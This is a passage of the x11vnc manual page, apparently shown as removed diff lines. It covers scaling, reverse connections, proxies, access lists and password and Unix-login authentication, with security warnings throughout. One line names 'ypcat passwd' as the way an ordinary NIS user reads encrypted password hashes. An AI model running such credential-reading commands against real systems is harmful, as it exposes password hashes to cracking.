-The [opts] string can contain the following settings.
-Multiple settings are separated by commas.
-.IP
-For for some X servers with default depth 24 a
-speedup may be achieved via the option "nogetimage".
-This enables a scheme were XGetImage() is not used
-to retrieve the 8bpp data. Instead, it assumes that
-the 8bpp data is in bits 25-32 of the 32bit X pixels.
-There is no requirement that the X server should put
-the data there for our poll requests, but some do and
-so the extra steps to retrieve it can be skipped.
-Tested with mga driver with XFree86/Xorg. For the
-default depth 8 case this option is ignored.
-.IP
-To adjust how often XGetImage() is used to poll the
-non-default visual regions for changes, use the option
-"poll=t" where "t" is a floating point time.
-(default: 0.05)
-.IP
-Setting the option "level2" will limit the search
-for non-default visual windows to two levels from the
-root window. Do this on slow machines where you know
-the window manager only imposes one extra window between
-the app window and the root window.
-.IP
-Also for very slow machines use "cachewin=t"
-where t is a floating point amount of time to cache
-XGetWindowAttributes results. E.g. cachewin=5.0.
-This may lead to the windows being unnoticed for this
-amount of time when deiconifying, painting errors, etc.
-.IP
-While testing on a very old SS20 these options gave
-tolerable response: \fB-8to24\fR poll=0.2,cachewin=5.0. For
-this machine \fB-overlay\fR is supported and gives better
-response.
-.IP
-Debugging for this mode can be enabled by setting
-"dbg=1", "dbg=2", or "dbg=3".
-.PP
-\fB-24to32\fR
-.IP
-Very rare problem: if the framebuffer (X display
-or \fB-rawfb)\fR is 24bpp instead of the usual 32bpp, then
-dynamically transform the pixels to 32bpp. This will be
-slower, but can be used to work around problems where
-VNC viewers cannot handle 24bpp (e.g. "main: setPF:
-not 8, 16 or 32 bpp?"). See the FAQ for more info.
-.IP
-In the case of \fB-rawfb\fR mode, the pixels are directly
-modified by inserting a 0 byte to pad them out to 32bpp.
-For X displays, a kludge is done that is equivalent to
-"\fB-noshm\fR \fI\fB-visual\fR TrueColor:32\fR". (If better performance
-is needed for the latter, feel free to ask).
-.PP
-\fB-scale\fR \fIfraction\fR
-.IP
-Scale the framebuffer by factor \fIfraction\fR. Values
-less than 1 shrink the fb, larger ones expand it. Note:
-the image may not be sharp and response may be slower.
-If \fIfraction\fR contains a decimal point "." it
-is taken as a floating point number, alternatively
-the notation "m/n" may be used to denote fractions
-exactly, e.g. \fB-scale\fR 2/3
-.IP
-To scale asymmetrically in the horizontal and vertical
-directions, specify a WxH geometry to stretch to:
-e.g. '-scale 1024x768', or also '-scale 0.9x0.75'
-.IP
-Scaling Options: can be added after \fIfraction\fR via
-":", to supply multiple ":" options use commas.
-If you just want a quick, rough scaling without
-blending, append ":nb" to \fIfraction\fR (e.g. \fB-scale\fR
-1/3:nb). No blending is the default for 8bpp indexed
-color, to force blending for this case use ":fb".
-.IP
-To disable \fB-scrollcopyrect\fR and \fB-wirecopyrect\fR under
-\fB-scale\fR use ":nocr". If you need to to enable them use
-":cr" or specify them explicitly on the command line.
-If a slow link is detected, ":nocr" may be applied
-automatically. Default: :cr
-.IP
-More esoteric options: for compatibility with vncviewers
-the scaled width is adjusted to be a multiple of 4:
-to disable this use ":n4". ":in" use interpolation
-scheme even when shrinking, ":pad" pad scaled width
-and height to be multiples of scaling denominator
-(e.g. 3 for 2/3).
-.PP
-\fB-geometry\fR \fIWxH\fR
-.IP
-Same as \fB-scale\fR WxH
-.PP
-\fB-scale_cursor\fR \fIfrac\fR
-.IP
-By default if \fB-scale\fR is supplied the cursor shape is
-scaled by the same factor. Depending on your usage,
-you may want to scale the cursor independently of the
-screen or not at all. If you specify \fB-scale_cursor\fR
-the cursor will be scaled by that factor. When using
-\fB-scale\fR mode to keep the cursor at its "natural" size
-use "\fB-scale_cursor\fR \fI1\fR". Most of the ":" scaling
-options apply here as well.
-.PP
-\fB-viewonly\fR
-.IP
-All VNC clients can only watch (default off).
-.PP
-\fB-shared\fR
-.IP
-VNC display is shared, i.e. more than one viewer can
-connect at the same time (default off).
-.PP
-\fB-once\fR
-.IP
-Exit after the first successfully connected viewer
-disconnects, opposite of \fB-forever.\fR This is the Default.
-.PP
-\fB-forever\fR
-.IP
-Keep listening for more connections rather than exiting
-as soon as the first client(s) disconnect. Same as \fB-many\fR
-.IP
-To get the standard non-shared VNC behavior where when
-a new VNC client connects the existing VNC client is
-dropped use: \fB-nevershared\fR \fB-forever\fR This method can
-also be used to guard against hung TCP connections that
-do not go away.
-.PP
-\fB-loop\fR
-.IP
-Create an outer loop restarting the x11vnc process
-whenever it terminates. \fB-bg\fR and \fB-inetd\fR are ignored
-in this mode (however see \fB-loopbg\fR below).
-.IP
-Useful for continuing even if the X server terminates
-and restarts (at that moment the process will need
-permission to reconnect to the new X server of course).
-.IP
-Use, e.g., \fB-loop100\fR to sleep 100 millisecs between
-restarts, etc. Default is 2000ms (i.e. 2 secs) Use,
-e.g. \fB-loop300,5\fR to sleep 300 ms and only loop 5 times.
-.IP
-If \fB-loopbg\fR (plus any numbers) is specified instead,
-the "\fB-bg\fR" option is implied and the mode approximates
-.IR inetd (8)
-usage to some degree. In this case when
-it goes into the background any listening sockets
-(i.e. ports 5900, 5800) are closed, so the next one
-in the loop can use them. This mode will only be of
-use if a VNC client (the only client for that process)
-is already connected before the process goes into the
-background, for example, usage of \fB-display\fR WAIT:..,
-\fB-svc,\fR and \fB-connect\fR can make use of this "poor man's"
-inetd mode. The default wait time is 500ms in this
-mode. This usage could use useful: \fB-svc\fR \fB-bg\fR \fB-loopbg\fR
-.PP
-\fB-timeout\fR \fIn\fR
-.IP
-Exit unless a client connects within the first n seconds
-after startup.
-.IP
-If there have been no connection attempts after n
-seconds x11vnc exits immediately. If a client is
-trying to connect but has not progressed to the normal
-operating state, x11vnc gives it a few more seconds
-to finish and exits if it does not make it to the
-normal state.
-.IP
-For reverse connections via \fB-connect\fR or \fB-connect_or_exit\fR
-a timeout of n seconds will be set for all reverse
-connects. If the connect timeout alarm goes off,
-x11vnc will exit immediately.
-.PP
-\fB-sleepin\fR \fIn\fR
-.IP
-At startup sleep n seconds before proceeding (e.g. to
-allow redirs and listening clients to start up)
-.IP
-If a range is given: '-sleepin min-max', a random value
-between min and max is slept. E.g. '-sleepin 0-20' and
-\'-sleepin 10-30'. Floats are allowed too.
-.PP
-\fB-inetd\fR
-.IP
-Launched by
-.IR inetd (8):
-stdio instead of listening socket.
-Note: if you are not redirecting stderr to a log file
-(via shell 2> or \fB-o\fR option) you MUST also specify the \fB-q\fR
-option, otherwise the stderr goes to the viewer which
-will cause it to abort. Specifying both \fB-inetd\fR and \fB-q\fR
-and no \fB-o\fR will automatically close the stderr.
-.PP
-\fB-tightfilexfer\fR
-.IP
-Enable the TightVNC file transfer extension. Note that
-that when the \fB-viewonly\fR option is supplied all file
-transfers are disabled. Also clients that log in
-viewonly cannot transfer files. However, if the remote
-control mechanism is used to change the global or
-per-client viewonly state the filetransfer permissions
-will NOT change.
-.IP
-IMPORTANT: please understand if \fB-tightfilexfer\fR is
-specified and you run x11vnc as root for, say, inetd
-or display manager (gdm, kdm, ...) access and you do
-not have it switch users via the \fB-users\fR option, then
-VNC Viewers that connect are able to do filetransfer
-reads and writes as *root*.
-.IP
-Also, tightfilexfer is disabled in \fB-unixpw\fR mode.
-.PP
-\fB-ultrafilexfer\fR
-.IP
-Note: to enable UltraVNC filetransfer and to get it to
-work you probably need to supply these LibVNCServer
-options: "\fB-rfbversion\fR \fI3.6 \fB-permitfiletransfer\fR"\fR
-"\fB-ultrafilexfer\fR" is an alias for this combination.
-.IP
-IMPORTANT: please understand if \fB-ultrafilexfer\fR is
-specified and you run x11vnc as root for, say, inetd
-or display manager (gdm, kdm, ...) access and you do
-not have it switch users via the \fB-users\fR option, then
-VNC Viewers that connect are able to do filetransfer
-reads and writes as *root*.
-.IP
-Note that sadly you cannot do both \fB-tightfilexfer\fR and
-\fB-ultrafilexfer\fR at the same time because the latter
-requires setting the version to 3.6 and tightvnc will
-not do filetransfer when it sees that version number.
-.PP
-\fB-http\fR
-.IP
-Instead of using \fB-httpdir\fR (see below) to specify
-where the Java vncviewer applet is, have x11vnc try
-to *guess* where the directory is by looking relative
-to the program location and in standard locations
-(/usr/local/share/x11vnc/classes, etc). Under \fB-ssl\fR or
-\fB-stunnel\fR the ssl classes subdirectory is sought.
-.PP
-\fB-http_ssl\fR
-.IP
-As \fB-http,\fR but force lookup for ssl classes subdir.
-.IP
-Note that for HTTPS, single-port Java applet delivery
-you can set X11VNC_HTTPS_DOWNLOAD_WAIT_TIME to the
-max number of seconds to wait for the applet download
-to finish. The default is 15.
-.PP
-\fB-avahi\fR
-.IP
-Use the Avahi/mDNS ZeroConf protocol to advertise
-this VNC server to the local network. (Related terms:
-Rendezvous, Bonjour). Depending on your setup, you
-may need to start avahi-daemon and open udp port 5353
-in your firewall.
-.IP
-You can set X11VNC_AVAHI_NAME, X11VNC_AVAHI_HOST,
-and/or X11VNC_AVAHI_PORT environment variables
-to override the default values. For example:
-\fB-env\fR X11VNC_AVAHI_NAME=wally
-.IP
-If the avahi API cannot be found at build time, a helper
-program like avahi-
-.IR publish (1)
-or dns-
-.IR sd (1)
-will be tried
-.PP
-\fB-mdns\fR
-.IP
-Same as \fB-avahi.\fR
-.PP
-\fB-zeroconf\fR
-.IP
-Same as \fB-avahi.\fR
-.PP
-\fB-connect\fR \fIstring\fR
-.IP
-For use with "vncviewer -listen" reverse connections.
-If \fIstring\fR has the form "host" or "host:port"
-the connection is made once at startup.
-.IP
-Use commas for a list of host's and host:port's.
-E.g. \fB-connect\fR host1,host2 or host1:0,host2:5678.
-Note that to reverse connect to multiple hosts at the
-same time you will likely need to also supply: \fB-shared\fR
-.IP
-Note that unlike most vnc servers, x11vnc will require a
-password for reverse as well as for forward connections.
-(provided password auth has been enabled, \fB-rfbauth,\fR etc)
-If you do not want to require a password for reverse
-connections set X11VNC_REVERSE_CONNECTION_NO_AUTH=1 in
-your environment before starting x11vnc.
-.IP
-If \fIstring\fR contains "/" it is instead interpreted
-as a file to periodically check for new hosts.
-The first line is read and then the file is truncated.
-Be careful about the location of this file if x11vnc
-is running as root (e.g. via
-.IR gdm (1)
-, etc).
-.IP
-Repeater mode: Some services provide an intermediate
-"vnc repeater": http://www.uvnc.com/addons/repeater.html
-(and also http://koti.mbnet.fi/jtko/ for linux port)
-that acts as a proxy/gateway. Modes like these require
-an initial string to be sent for the reverse connection
-before the VNC protocol is started. Here are the ways
-to do this:
-.IP
-\fB-connect\fR pre=some_string+host:port
-\fB-connect\fR pre128=some_string+host:port
-\fB-connect\fR repeater=ID:1234+host:port
-\fB-connect\fR repeater=23.45.67.89::5501+host:port
-.IP
-SSVNC notation is also supported:
-.IP
-\fB-connect\fR repeater://host:port+ID:1234
-.IP
-As with normal \fB-connect\fR usage, if the repeater port is
-not supplied 5500 is assumed.
-.IP
-The basic idea is between the special tag, e.g. "pre="
-and "+" is the pre-string to be sent. Note that in
-this case host:port is the repeater server, NOT the
-vnc viewer. Somehow the pre-string tells the repeater
-server how to find the vnc viewer and connect you to it.
-.IP
-In the case pre=some_string+host:port, "some_string"
-is simply sent. In the case preNNN=some_string+host:port
-"some_string" is sent in a null padded buffer of
-length NNN. repeater= is the same as pre250=, this is
-the ultravnc repeater buffer size.
-.IP
-Strings like "\\n" and "\\r", etc. are expanded to
-newline and carriage return. "\\c" is expanded to
-"," since the connect string is comma separated.
-.IP
-See also the \fB-proxy\fR option below for additional ways
-to plumb reverse connections.
-.IP
-Reverse SSL: using \fB-connect\fR in \fB-ssl\fR mode makes x11vnc
-act as an SSL client (initiates SSL connection) rather
-than an SSL server. The idea is x11vnc might be
-connecting to stunnel on the viewer side with the
-viewer in listening mode. If you do not want this
-behavior, use \fB-env\fR X11VNC_DISABLE_SSL_CLIENT_MODE=1.
-With this the viewer side can act as the SSL client
-as it normally does for forward connections.
-.IP
-Reverse SSL Repeater mode: This will work, but note
-that if the VNC Client does any sort of a 'Fetch Cert'
-action before connecting, then the Repeater will
-likely drop the connection and both sides will need
-to restart. Consider the use of \fB-connect_or_exit\fR
-and \fB-loop300,2\fR to have x11vnc reconnect once to the
-repeater after the fetch. You will probably also want
-to supply \fB-sslonly\fR to avoid x11vnc thinking the delay
-in response means the connection is VeNCrypt. The env
-var X11VNC_DISABLE_SSL_CLIENT_MODE=1 discussed above
-may also be useful (i.e. the viewer can do a forward
-connection as it normally does.)
-.IP
-IPv6: as of x11vnc 0.9.10 the \fB-connect\fR option should
-connect to IPv6 hosts properly. If there are problems
-you can disable IPv6 by setting \fB-DX11VNC_IPV6=0\fR
-in CPPFLAGS when configuring. If there problems
-connecting to IPv6 hosts consider a relay like the
-included inet6to4 script or the \fB-proxy\fR option.
-.PP
-\fB-connect_or_exit\fR \fIstr\fR
-.IP
-As with \fB-connect,\fR except if none of the reverse
-connections succeed, then x11vnc shuts down immediately
-.IP
-An easier to type alias for this option is '-coe'
-.IP
-By the way, if you do not want x11vnc to listen on
-ANY interface use \fB-rfbport\fR 0 which is handy for the
-\fB-connect_or_exit\fR mode.
-.PP
-\fB-proxy\fR \fIstring\fR
-.IP
-Use proxy in string (e.g. host:port) as a proxy for
-making reverse connections (-connect or \fB-connect_or_exit\fR
-options).
-.IP
-Web proxies are supported, but note by default most of
-them only support destination connections to ports 443
-or 563, so this might not be very useful (the viewer
-would need to listen on that port or the router would
-have to do a port redirection).
-.IP
-A web proxy may be specified by either "host:port"
-or "http://host:port" (the port is required even if
-it is the common choices 80 or 8080)
-.IP
-SOCKS4, SOCKS4a, and SOCKS5 are also supported.
-SOCKS proxies normally do not have restrictions on the
-destination port number.
-.IP
-Use a format like this: socks://host:port or
-socks5://host:port. Note that ssh \fB-D\fR does not support
-SOCKS4a, so use socks5://. For socks:// SOCKS4 is used
-on a numerical IP and "localhost", otherwise SOCKS4a
-is used (and so the proxy tries to do the DNS lookup).
-.IP
-An experimental mode is "\fB-proxy\fR \fIhttp://host:port/...\fR"
-Note the "/" after the port that distinguishes it from
-a normal web proxy. The port must be supplied even if
-it is the default 80. For this mode a GET is done to
-the supplied URL with the string host=H&port=P appended.
-H and P will be the \fB-connect\fR reverse connect host
-and port. Use the string "__END__" to disable the
-appending. The basic idea here is that maybe some cgi
-script provides the actual viewer hookup and tunnelling.
-How to actually achieve this within cgi, php, etc. is
-not clear... A custom web server or apache module
-would be straight-forward.
-.IP
-Another experimental mode is "\fB-proxy\fR \fIssh://user@host\fR"
-in which case a SSH tunnel is used for the proxying.
-"user@" is not needed unless your unix username is
-different on "host". For a non-standard SSH port
-use ssh://user@host:port. If proxies are chained (see
-next paragraph) then the ssh one must be the first one.
-If ssh-agent is not active, then the ssh password needs
-to be entered in the terminal where x11vnc is running.
-Examples:
-.IP
-\fB-connect\fR localhost:0 \fB-proxy\fR ssh://me@friends-pc:2222
-.IP
-\fB-connect\fR snoopy:0 \fB-proxy\fR ssh://ssh.company.com
-.IP
-Multiple proxies may be chained together in case one
-needs to ricochet off of a number of hosts to finally
-reach the VNC viewer. Up to 3 may be chained, separate
-them by commas in the order they are to be connected to.
-E.g.: http://host1:port1,socks5://host2:port2 or three
-like: first,second,third
-.IP
-IPv6: as of x11vnc 0.9.10 the \fB-proxy\fR option should
-connect to IPv6 hosts properly. If there are problems
-you can disable IPv6 by setting \fB-DX11VNC_IPV6=0\fR
-in CPPFLAGS when configuring. If there problems
-connecting to IPv6 hosts consider a relay like the
-included inet6to4 script.
-.PP
-\fB-vncconnect,\fR \fB-novncconnect\fR
-.IP
-Monitor the VNC_CONNECT X property set by the standard
-VNC program
-.IR vncconnect (1).
-When the property is
-set to "host" or "host:port" establish a reverse
-connection. Using
-.IR xprop (1)
-instead of vncconnect may
-work (see the FAQ). The \fB-remote\fR control mechanism uses
-X11VNC_REMOTE channel, and this option disables/enables
-it as well. Default: \fB-vncconnect\fR
-.IP
-To use different names for these X11 properties (e.g. to
-have separate communication channels for multiple
-x11vnc's on the same display) set the VNC_CONNECT or
-X11VNC_REMOTE env. vars. to the string you want, for
-example: \fB-env\fR X11VNC_REMOTE=X11VNC_REMOTE_12345
-Both sides of the channel must use the same unique name.
-The same can be done for the internal X11VNC_TICKER
-property (heartbeat and timestamp) if desired.
-.PP
-\fB-allow\fR \fIhost1[,host2..]\fR
-.IP
-Only allow client connections from hosts matching
-the comma separated list of hostnames or IP addresses.
-Can also be a numerical IP prefix, e.g. "192.168.100."
-to match a simple subnet, for more control build
-LibVNCServer with libwrap support (See the FAQ). If the
-list contains a "/" it instead is a interpreted
-as a file containing addresses or prefixes that is
-re-read each time a new client connects. Lines can be
-commented out with the "#" character in the usual way.
-.IP
-\fB-allow\fR applies in \fB-ssl\fR mode, but not in \fB-stunnel\fR mode.
-.IP
-IPv6: as of x11vnc 0.9.10 a host can be specified
-in IPv6 numerical format, e.g. 2001:4860:b009::93.
-.PP
-\fB-localhost\fR
-.IP
-Basically the same as "\fB-allow\fR \fI127.0.0.1\fR".
-.IP
-Note: if you want to restrict which network interface
-x11vnc listens on, see the \fB-listen\fR option below.
-E.g. "\fB-listen\fR \fIlocalhost\fR" or "\fB-listen\fR \fI192.168.3.21\fR".
-As a special case, the option "\fB-localhost\fR" implies
-"\fB-listen\fR \fIlocalhost\fR".
-.IP
-A rare case, but for non-localhost \fB-listen\fR usage, if
-you use the remote control mechanism (-R) to change
-the \fB-listen\fR interface you may need to manually adjust
-the \fB-allow\fR list (and vice versa) to avoid situations
-where no connections (or too many) are allowed.
-.IP
-If you do not want x11vnc to listen on ANY interface
-(evidently you are using \fB-connect\fR or \fB-connect_or_exit,\fR
-or plan to use remote control: \fB-R\fR connect:host), use
-\fB-rfbport\fR 0
-.IP
-IPv6: if IPv6 is supported, this option automatically
-implies the IPv6 loopback address '::1' as well.
-.PP
-\fB-unixsock\fR \fIstr\fR
-.IP
-Listen on the unix socket (AF_UNIX) 'str'
-for connections. This mode is for either local
-connections or a tunnel endpoint where one wants the
-file permission of the unix socket file to determine
-what can connect to it. (This currently requires an
-edit to libvnserver/rfbserver.c: comment out lines 310
-and 311, 'close(sock)' and 'return NULL' in rfbserver.c
-after the setsockopt() call.) Note that to disable all
-tcp listening ports specify '-rfbport 0' and should be
-useful with this mode. Example:
-mkdir ~/s; chmod 700 ~/s;
-x11vnc \fB-unixsock\fR ~/s/mysock \fB-rfbport\fR 0 ...
-The SSVNC unix vncviewer can connect to unix sockets.
-.PP
-\fB-listen6\fR \fIstr\fR
-.IP
-When in IPv6 listen mode "-6", listen only on the
-network interface with address \fIstr\fR. It also works
-for link scope addresses (fe80::219:dbff:fee5:3f92%eth0)
-and IPv6 hostname strings (e.g. ipv6.google.com.)
-Use LibVNCServer \fB-listen\fR option for the IPv4 interface.
-.PP
-\fB-nolookup\fR
-.IP
-Do not use gethostbyname() or gethostbyaddr() to look up
-host names or IP numbers. Use this if name resolution
-is incorrectly set up and leads to long pauses as name
-lookups time out, etc.
-.PP
-\fB-input\fR \fIstring\fR
-.IP
-Fine tuning of allowed user input. If \fIstring\fR does
-not contain a comma "," the tuning applies only to
-normal clients. Otherwise the part before "," is
-for normal clients and the part after for view-only
-clients. "K" is for Keystroke input, "M" for
-Mouse-motion input, "B" for Button-click input, "C"
-is for Clipboard input, and "F" is for File transfer
-(ultravnc only). Their presence in the string enables
-that type of input. E.g. "\fB-input\fR \fIM\fR" means normal
-users can only move the mouse and "\fB-input\fR \fIKMBCF,M\fR"
-lets normal users do anything and enables view-only
-users to move the mouse. This option is ignored when
-a global \fB-viewonly\fR is in effect (all input is discarded
-in that case).
-.PP
-\fB-grabkbd\fR
-.IP
-When VNC viewers are connected, attempt to the grab
-the keyboard so a (non-malicious) user sitting at the
-physical display is not able to enter keystrokes.
-This method uses
-.IR XGrabKeyboard (3X11)
-and so it is
-not secure and does not rule out the person at the
-physical display injecting keystrokes by flooding the
-server with them, grabbing the keyboard himself, etc.
-Some degree of cooperation from the person at the
-display is assumed. This is intended for remote
-help-desk or educational usage modes.
-.IP
-Note: on some recent (12/2010) X servers and/or
-desktops, \fB-grabkbd\fR no longer works: it prevents the
-window manager from resizing windows and similar things.
-Try \fB-ungrabboth\fR below (might not work.)
-.PP
-\fB-grabptr\fR
-.IP
-As \fB-grabkbd,\fR but for the mouse pointer using
-.IR XGrabPointer (3X11).
-Unfortunately due to the way the X
-server works, the mouse can still be moved around by the
-user at the physical display, but he will not be able to
-change window focus with it. Also some window managers
-that call
-.IR XGrabServer (3X11)
-for resizes, etc, will
-act on the local user's input. Again, some degree of
-cooperation from the person at the display is assumed.
-.PP
-\fB-ungrabboth\fR
-.IP
-Whenever there is any input (either keyboard or
-pointer), ungrab *both* the keyboard and the pointer
-while injecting the synthetic input. This is to allow
-window managers, etc. a chance to grab.
-.PP
-\fB-grabalways\fR
-.IP
-Apply both \fB-grabkbd\fR and \fB-grabptr\fR even when no VNC
-viewers are connected. If you only want one of them,
-use the \fB-R\fR remote control to turn the other back on,
-e.g. \fB-R\fR nograbptr.
-.PP
-\fB-viewpasswd\fR \fIstring\fR
-.IP
-Supply a 2nd password for view-only logins. The \fB-passwd\fR
-(full-access) password must also be supplied.
-.PP
-\fB-passwdfile\fR \fIfilename\fR
-.IP
-Specify the LibVNCServer password via the first line
-of the file \fIfilename\fR (instead of via \fB-passwd\fR on
-the command line where others might see it via
-.IR ps (1)
-).
-.IP
-See the descriptions below for how to supply multiple
-passwords, view-only passwords, to specify external
-programs for the authentication, and other features.
-.IP
-If the filename is prefixed with "rm:" it will be
-removed after being read. Perhaps this is useful in
-limiting the readability of the file. In general, the
-password file should not be readable by untrusted users
-(BTW: neither should the VNC \fB-rfbauth\fR file: it is NOT
-encrypted, only obscured with a fixed key).
-.IP
-If the filename is prefixed with "read:" it will
-periodically be checked for changes and reread. It is
-guaranteed to be reread just when a new client connects
-so that the latest passwords will be used.
-.IP
-If \fIfilename\fR is prefixed with "cmd:" then the
-string after the ":" is run as an external command:
-the output of the command will be interpreted as if it
-were read from a password file (see below). If the
-command does not exit with 0, then x11vnc terminates
-immediately. To specify more than 1000 passwords this
-way set X11VNC_MAX_PASSWDS before starting x11vnc.
-The environment variables are set as in \fB-accept.\fR
-.IP
-Note that due to the VNC protocol only the first 8
-characters of a password are used (DES key).
-.IP
-If \fIfilename\fR is prefixed with "custom:" then a
-custom password checker is supplied as an external
-command following the ":". The command will be run
-when a client authenticates. If the command exits with
-0 the client is accepted, otherwise it is rejected.
-The environment variables are set as in \fB-accept.\fR
-.IP
-The standard input to the custom command will be a
-decimal digit "len" followed by a newline. "len"
-specifies the challenge size and is usually 16 (the
-VNC spec). Then follows len bytes which is the random
-challenge string that was sent to the client. This is
-then followed by len more bytes holding the client's
-response (i.e. the challenge string encrypted via DES
-with the user password in the standard situation).
-.IP
-The "custom:" scheme can be useful to implement
-dynamic passwords or to implement methods where longer
-passwords and/or different encryption algorithms
-are used. The latter will require customizing the VNC
-client as well. One could create an MD5SUM based scheme
-for example.
-.IP
-File format for \fB-passwdfile:\fR
-.IP
-If multiple non-blank lines exist in the file they are
-all taken as valid passwords. Blank lines are ignored.
-Password lines may be "commented out" (ignored) if
-they begin with the character "#" or the line contains
-the string "__SKIP__". Lines may be annotated by use
-of the "__COMM__" string: from it to the end of the
-line is ignored. An empty password may be specified
-via the "__EMPTY__" string on a line by itself (note
-your viewer might not accept empty passwords).
-.IP
-If the string "__BEGIN_VIEWONLY__" appears on a
-line by itself, the remaining passwords are used for
-viewonly access. For compatibility, as a special case
-if the file contains only two password lines the 2nd
-one is automatically taken as the viewonly password.
-Otherwise the "__BEGIN_VIEWONLY__" token must be
-used to have viewonly passwords. (tip: make the 3rd
-and last line be "__BEGIN_VIEWONLY__" to have 2
-full-access passwords)
-.PP
-\fB-showrfbauth\fR \fIfilename\fR
-.IP
-Print to the screen the obscured VNC password kept in
-the rfbauth file \fIfilename\fR and then exit.
-.PP
-\fB-unixpw\fR \fI[list]\fR
-.IP
-Use Unix username and password authentication. x11vnc
-will use the
-.IR su (1)
-program to verify the user's
-password. [list] is an optional comma separated list
-of allowed Unix usernames. If the [list] string begins
-with the character "!" then the entire list is taken
-as an exclude list. See below for per-user options
-that can be applied.
-.IP
-A familiar "login:" and "Password:" dialog is
-presented to the user on a black screen inside the
-vncviewer. The connection is dropped if the user fails
-to supply the correct password in 3 tries or does not
-send one before a 45 second timeout. Existing clients
-are view-only during this period.
-.IP
-If the first character received is "Escape" then the
-unix username will not be displayed after "login:"
-as it is typed. This could be of use for VNC viewers
-that automatically type the username and password.
-.IP
-Since the detailed behavior of
-.IR su (1)
-can vary from
-OS to OS and for local configurations, test the mode
-before deployment to make sure it is working properly.
-x11vnc will attempt to be conservative and reject a
-login if anything abnormal occurs.
-.IP
-One case to note: FreeBSD and the other BSD's by
-default it is impossible for the user running x11vnc to
-validate his *own* password via
-.IR su (1)
-(commenting out
-the pam_self.so entry in /etc/pam.d/su eliminates this
-behavior). So the x11vnc login will always *FAIL* for
-this case (even when the correct password is supplied).
-.IP
-A possible workaround for this on *BSD would be to
-start x11vnc as root with the "\fB-users\fR \fI+nobody\fR" option
-to immediately switch to user nobody where the su'ing
-will proceed normally.
-.IP
-Another source of potential problems are PAM modules
-that prompt for extra info, e.g. password aging modules.
-These logins will fail as well even when the correct
-password is supplied.
-.IP
-**IMPORTANT**: to prevent the Unix password being sent
-in *clear text* over the network, one of two schemes
-will be enforced: 1) the \fB-ssl\fR builtin SSL mode, or 2)
-require both \fB-localhost\fR and \fB-stunnel\fR be enabled.
-.IP
-Method 1) ensures the traffic is encrypted between
-viewer and server. A PEM file will be required, see the
-discussion under \fB-ssl\fR below (under some circumstances
-a temporary one can be automatically generated).
-.IP
-Method 2) requires the viewer connection to appear
-to come from the same machine x11vnc is running on
-(e.g. from a ssh \fB-L\fR port redirection). And that the
-\fB-stunnel\fR SSL mode be used for encryption over the
-network. (see the description of \fB-stunnel\fR below).
-.IP
-Note: as a convenience, if you
-.IR ssh (1)
-in and start
-x11vnc it will check if the environment variable
-SSH_CONNECTION is set and appears reasonable. If it
-does, then the \fB-ssl\fR or \fB-stunnel\fR requirement will be
-dropped since it is assumed you are using ssh for the
-encrypted tunnelling. \fB-localhost\fR is still enforced.
-Use \fB-ssl\fR or \fB-stunnel\fR to force SSL usage even if
-SSH_CONNECTION is set.
-.IP
-To override the above restrictions you can set
-environment variables before starting x11vnc:
-.IP
-Set UNIXPW_DISABLE_SSL=1 to disable requiring either
-\fB-ssl\fR or \fB-stunnel\fR (as under SSH_CONNECTION.) Evidently
-you will be using a different method to encrypt the
-data between the vncviewer and x11vnc: perhaps
-.IR ssh (1)
-or an IPSEC VPN. \fB-localhost\fR is still enforced (however,
-see the next paragraph.)
-.IP
-Set UNIXPW_DISABLE_LOCALHOST=1 to disable the \fB-localhost\fR
-requirement in \fB-unixpw\fR modes. One should never do this
-(i.e. allow the Unix passwords to be sniffed on the
-network.) This also disables the localhost requirement
-for reverse connections (see below.)
-.IP
-Note that use of \fB-localhost\fR with
-.IR ssh (1)
-(and no \fB-unixpw)\fR
-is roughly the same as requiring a Unix user login
-(since a Unix password or the user's public key
-authentication is used by sshd on the machine where
-x11vnc runs and only local connections from that machine
-are accepted).
-.IP
-Regarding reverse connections (e.g. \fB-R\fR connect:host
-and \fB-connect\fR host), when the \fB-localhost\fR constraint is
-in effect then reverse connections can only be used
-to connect to the same machine x11vnc is running on
-(default port 5500). Please use a ssh or stunnel port
-redirection to the viewer machine to tunnel the reverse
-connection over an encrypted channel.
-.IP
-In \fB-inetd\fR mode the Method 1) will be enforced (not
-Method 2). With \fB-ssl\fR in effect reverse connections
-are disabled. If you override this via env. var, be
-sure to also use encryption from the viewer to inetd.
-Tip: you can also have your own stunnel spawn x11vnc
-in \fB-inetd\fR mode (thereby bypassing inetd). See the FAQ
-for details.
-.IP
-The user names in the comma separated [list] may have
-per-user options after a ":", e.g. "fred:opts"
-where "opts" is a "+" separated list of
-"viewonly", "fullaccess", "input=XXXX", or
-"deny", e.g. "karl,wally:viewonly,boss:input=M".
-For "input=" it is the K,M,B,C described under \fB-input.\fR
-.IP
-If an item in the list is "*" that means those
-options apply to all users. It ALSO implies all users
-are allowed to log in after supplying a valid password.
-Use "deny" to explicitly deny some users if you use
-"*" to set a global option. If [list] begins with the
-"!" character then "*" is ignored for checking if
-the user is allowed, but the option values associated
-with it do apply as normal.
-.IP
-There are also some utilities for checking passwords
-if [list] starts with the "%" character. See the
-quick_pw() function for more details. Description:
-"%-" or "%stdin" means read one line from stdin.
-"%env" means it is in $UNIXPW env var. A leading
-"%/" or "%." means read the first line from the
-filename that follows after the % character. % by
-itself means prompt for the username and password.
-Otherwise: %user:pass E.g. \fB-unixpw\fR %fred:swordfish
-For the other cases user:pass is read from the indicated
-source. If the password is correct 'Y user' is printed
-and the program exit code is 0. If the password is
-incorrect it prints 'N user' and the exit code is 1.
-If there is some other error the exit code is 2.
-This feature enables x11vnc to be a general unix user
-password checking tool; it could be used from scripts
-or other programs. These % password checks also apply
-to the \fB-unixpw_nis\fR and \fB-unixpw_cmd\fR options.
-.IP
-For the % password check, if the env. var. UNIXPW_CMD
-is set to a command then it is run as the user (assuming
-the password is correct.) The output of the command is
-not printed, the program or script must manage that by
-some other means. The exit code of x11vnc will depend
-on the exit code of the command that is run.
-.IP
-Use \fB-nounixpw\fR to disable unixpw mode if it was enabled
-earlier in the cmd line (e.g. \fB-svc\fR mode)
-.PP
-\fB-unixpw_nis\fR \fI[list]\fR
-.IP
-As \fB-unixpw\fR above, however do not use
-.IR su (1)
-but rather
-use the traditional
-.IR getpwnam (3)
-+
-.IR crypt (3)
-method to
-verify passwords. All of the above \fB-unixpw\fR options and
-constraints apply.
-.IP
-This mode requires that the encrypted passwords be
-readable. Encrypted passwords stored in /etc/shadow
-will be inaccessible unless x11vnc is run as root.
-.IP
-This is called "NIS" mode simply because in most
-NIS setups user encrypted passwords are accessible
-(e.g. "ypcat passwd") by an ordinary user and so that
